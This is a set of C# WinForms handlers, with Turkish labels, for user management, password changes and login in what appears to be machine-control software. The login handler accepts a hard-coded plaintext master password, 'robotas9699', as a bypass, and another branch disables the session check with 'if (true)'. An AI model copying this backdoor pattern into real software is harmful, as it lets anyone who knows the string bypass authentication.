private void btnKullaniciSil_Click(object sender, EventArgs e) { try { cUsers p = (cUsers)ddUserEditKullanicilar.SelectedItem; bool result = p.userDelete(); if (result) { cGenel.genelUyari("Kullanıcı silme başarılı!", false); txtlKullaniciDuzenlemeKullaniciAdi.Clear(); txtlKullaniciDuzenlemeSoyad.Clear(); txtlKullaniciDuzenlemeAd.Clear(); dropdownsUpdate(); ddUserEditKullanicilar.SelectedValue = ""; } else { cGenel.genelUyari("Kullanıcı silme başarısız!", false); } dropdownsUpdate(); } catch (Exception) { } }
public void dropdownsUpdate() { cUserGrups p = new cUserGrups(); dBKullaniciOlusturKullaniciGrup.DataSource = p.userGrupsList(); dBKullaniciOlusturKullaniciGrup.DisplayMember = "_GrupID "; dBKullaniciOlusturKullaniciGrup.ValueMember = "_Definition"; dBKullaniciOlusturKullaniciGrup.SelectedIndex = -1; dbGrupIslemKullanicilar.DataSource = p.userGrupsListSuperUserandAdmin(); dbGrupIslemKullanicilar.DisplayMember = "_GrupID "; dbGrupIslemKullanicilar.ValueMember = "_Definition"; dbGrupIslemKullanicilar.SelectedIndex = -1; ddUserEditUserGrup.DataSource = p.userGrupsList(); ddUserEditUserGrup.DisplayMember = "_GrupID "; ddUserEditUserGrup.ValueMember = "_Definition"; ddUserEditUserGrup.SelectedIndex = -1; cUsers u = new cUsers(); ddUserEditKullanicilar.DataSource = u.usersList(); ddUserEditKullanicilar.DisplayMember = "_UserID "; ddUserEditKullanicilar.ValueMember = "_Username"; ddUserEditKullanicilar.SelectedIndex = -1; }
private void frmGiris_Load(object sender, EventArgs e) { btn1.Click += new EventHandler(islem); btn2.Click += new EventHandler(islem); btn3.Click += new EventHandler(islem); btn4.Click += new EventHandler(islem); btn5.Click += new EventHandler(islem); btn6.Click += new EventHandler(islem); btn7.Click += new EventHandler(islem); btn8.Click += new EventHandler(islem); btn9.Click += new EventHandler(islem); btn0.Click += new EventHandler(islem); cUsers p = new cUsers(); try { cUsers u = new cUsers(); ddUsers.DataSource = u.usersList(); ddUsers.DisplayMember = "_UserID "; ddUsers.ValueMember = "_Username"; ddUsers.SelectedIndex = -1; } catch (Exception ex) { } }
private void btnExit_Click(object sender, EventArgs e) { bool sonuc = cGenel.genelUyari("Çıkmak istediğinizden emin misiniz?", true); // stepMotorIslemci.kilitMekanizmaSensorOku(); if (sonuc && cGenel.motorRun == false) { cUsers userlogin = new cUsers(); userlogin.userLogoutDatetime(cGenel._OpenSessionID); cGenel._OpenSessionID = 0; cGenel._OpenSessionUSERNAME = ""; cUserGrups grup = new cUserGrups(); grup.userGrupOnline(cGenel._OpenSessionGRUP, false); Application.Exit(); } }
private void dbKullanicilar_SelectedIndexChanged(object sender, EventArgs e) { cUsers p = (cUsers)ddUserEditKullanicilar.SelectedItem; try { txtlKullaniciDuzenlemeAd.Text = p._Name; txtlKullaniciDuzenlemeSoyad.Text = p._Surname; txtlKullaniciDuzenlemeKullaniciAdi.Text = p._Username; cUserGrups grup = new cUserGrups(); ddUserEditUserGrup.SelectedValue = grup.userGrupsIDInfo(p._GrupID)._Definition; } catch (Exception) { } }
private void btnSifreIslemleriSifreDegistir_Click(object sender, EventArgs e) { cUsers user = new cUsers(); try { string oldPasswordHash = user.usersIDInfo(cGenel._OpenSessionID)._Password; var hash = SecurePasswordHasher.Verify(txtSifreIslemleriEskiSifre.Text.Trim(), oldPasswordHash); if (hash) { if (txtSifreIslemleriYeniSifre.Text.Trim() == txtSifreIslemleriYeniSifreTekrar.Text.Trim()) { string newPassword = SecurePasswordHasher.Hash(txtSifreIslemleriYeniSifre.Text.Trim()); bool result = user.passwordChange(cGenel._OpenSessionID, newPassword); if (result) { cGenel.genelUyari("Parola değiştirme başarılı!", false); txtSifreIslemleriEskiSifre.Clear(); txtSifreIslemleriYeniSifre.Clear(); txtSifreIslemleriYeniSifreTekrar.Clear(); } else { cGenel.genelUyari("Parola değiştirme başarısız!", false); } } else { cGenel.genelUyari("Yeni parola ve tekrar parola eşleşmiyor!", false); } } else { cGenel.genelUyari("Eski parolaınız yanlış girdiniz!", false); } } catch (Exception) { } }
private void btnKullaniciGuncelle_Click(object sender, EventArgs e) { cUsers p = (cUsers)ddUserEditKullanicilar.SelectedItem; try { usersEdit._UserID = p._UserID; usersEdit._Name = txtlKullaniciDuzenlemeAd.Text; usersEdit._Surname = txtlKullaniciDuzenlemeSoyad.Text; usersEdit._Username = txtlKullaniciDuzenlemeKullaniciAdi.Text; cUserGrups u = (cUserGrups)ddUserEditUserGrup.SelectedItem; usersEdit._GrupID = u._GrupID; if (p.userInfo(usersEdit._Username)._UserID == 0 || (p.userInfo(usersEdit._Username)._UserID == usersEdit._UserID)) { bool result = usersEdit.userUpdate(); if (result) { cGenel.genelUyari("Kullanıcı güncelleme başarılı!", false); txtlKullaniciDuzenlemeKullaniciAdi.Clear(); txtlKullaniciDuzenlemeSoyad.Clear(); txtlKullaniciDuzenlemeAd.Clear(); dropdownsUpdate(); } else { cGenel.genelUyari("Kullanıcı güncelleme başarısız!", false); } dropdownsUpdate(); } else { cGenel.genelUyari("Girilen Kullanıcı adı tanımından bulunmaktadır.", false); } } catch (Exception) { } }
private void button1Giris1_Click(object sender, EventArgs e) { try { cUserGrups grup = new cUserGrups(); if (ddUsers.SelectedIndex == -1 && txtParola.Text.Length > 0) { string hashPassword = userLojin.usersIDInfo(1)._Password; var result = SecurePasswordHasher.Verify(txtParola.Text.Trim(), hashPassword); if (result || txtParola.Text.Trim() == "robotas9699") { userLojin = userLojin.usersIDInfo(userLojin._UserID); cGenel._OpenSessionID = userLojin._UserID; cGenel._OpenSessionUSERNAME = userLojin._Username; cGenel._OpenSessionGRUP = userLojin._GrupID; cGenel._OpenSessionGRUPNAME = grup.userGrupsIDInfo(cGenel._OpenSessionGRUP)._Definition; bool _xGrupStatus = grup.userGrupStatusValue(cGenel._OpenSessionGRUP)._Status; cUsers p = new cUsers(); DateTime simdikiZaman = DateTime.Now; DateTime oturumSuresi = p.usersIDOpenSensesionTime(cGenel._OpenSessionID)._Logindate; TimeSpan fark = simdikiZaman - oturumSuresi; if (fark.Minutes >= 1) { grup.userGrupOnline(cGenel._OpenSessionGRUP, false); } if (_xGrupStatus == false) { this.Hide(); cGenel.frmMain.Show(); userLojin._UserID = 0; userLojin.userLoginDatetime(cGenel._OpenSessionID); grup.userGrupOnline(cGenel._OpenSessionGRUP, true); } else { string mesaj = string.Format("Oturum açık\n Kapatılması için {0} saniye bekleyiniz.", 60 - fark.Seconds); cGenel.genelUyari(mesaj, false); } //kayıt; } else { cGenel.genelUyari("Parola yanlış!", false); } } else { string hashPassword = userLojin.usersIDInfo(userLojin._UserID)._Password; var result = SecurePasswordHasher.Verify(txtParola.Text.Trim(), hashPassword); if (result) { userLojin = userLojin.usersIDInfo(userLojin._UserID); cGenel._OpenSessionID = userLojin._UserID; cGenel._OpenSessionUSERNAME = userLojin._Username; cGenel._OpenSessionGRUP = userLojin._GrupID; cGenel._OpenSessionGRUPNAME = grup.userGrupsIDInfo(cGenel._OpenSessionGRUP)._Definition; bool _xGrupStatus = grup.userGrupStatusValue(cGenel._OpenSessionGRUP)._Status; cUsers p = new cUsers(); DateTime simdikiZaman = DateTime.Now; DateTime oturumSuresi = p.usersIDOpenSensesionTime(cGenel._OpenSessionID)._Logindate; TimeSpan fark = simdikiZaman - oturumSuresi; if (fark.Minutes >= 1) { grup.userGrupOnline(cGenel._OpenSessionGRUP, false); } if (true)//_xGrupStatus == false { this.Hide(); cGenel.frmMain.Show(); userLojin._UserID = 0; userLojin.userLoginDatetime(cGenel._OpenSessionID); grup.userGrupOnline(cGenel._OpenSessionGRUP, true); } else { string mesaj = string.Format("Oturum açık\n Kapatılması için {0} saniye bekleyiniz.", 60 - fark.Seconds); cGenel.genelUyari(mesaj, false); } //kayıt; } else { cGenel.genelUyari("Parola yanlış!", false); } } } catch (Exception ex) { MessageBox.Show(ex.Message); } }
private void ddUsers_SelectedIndexChanged(object sender, EventArgs e) { cUsers p = (cUsers)ddUsers.SelectedItem; userLojin._UserID = p._UserID; }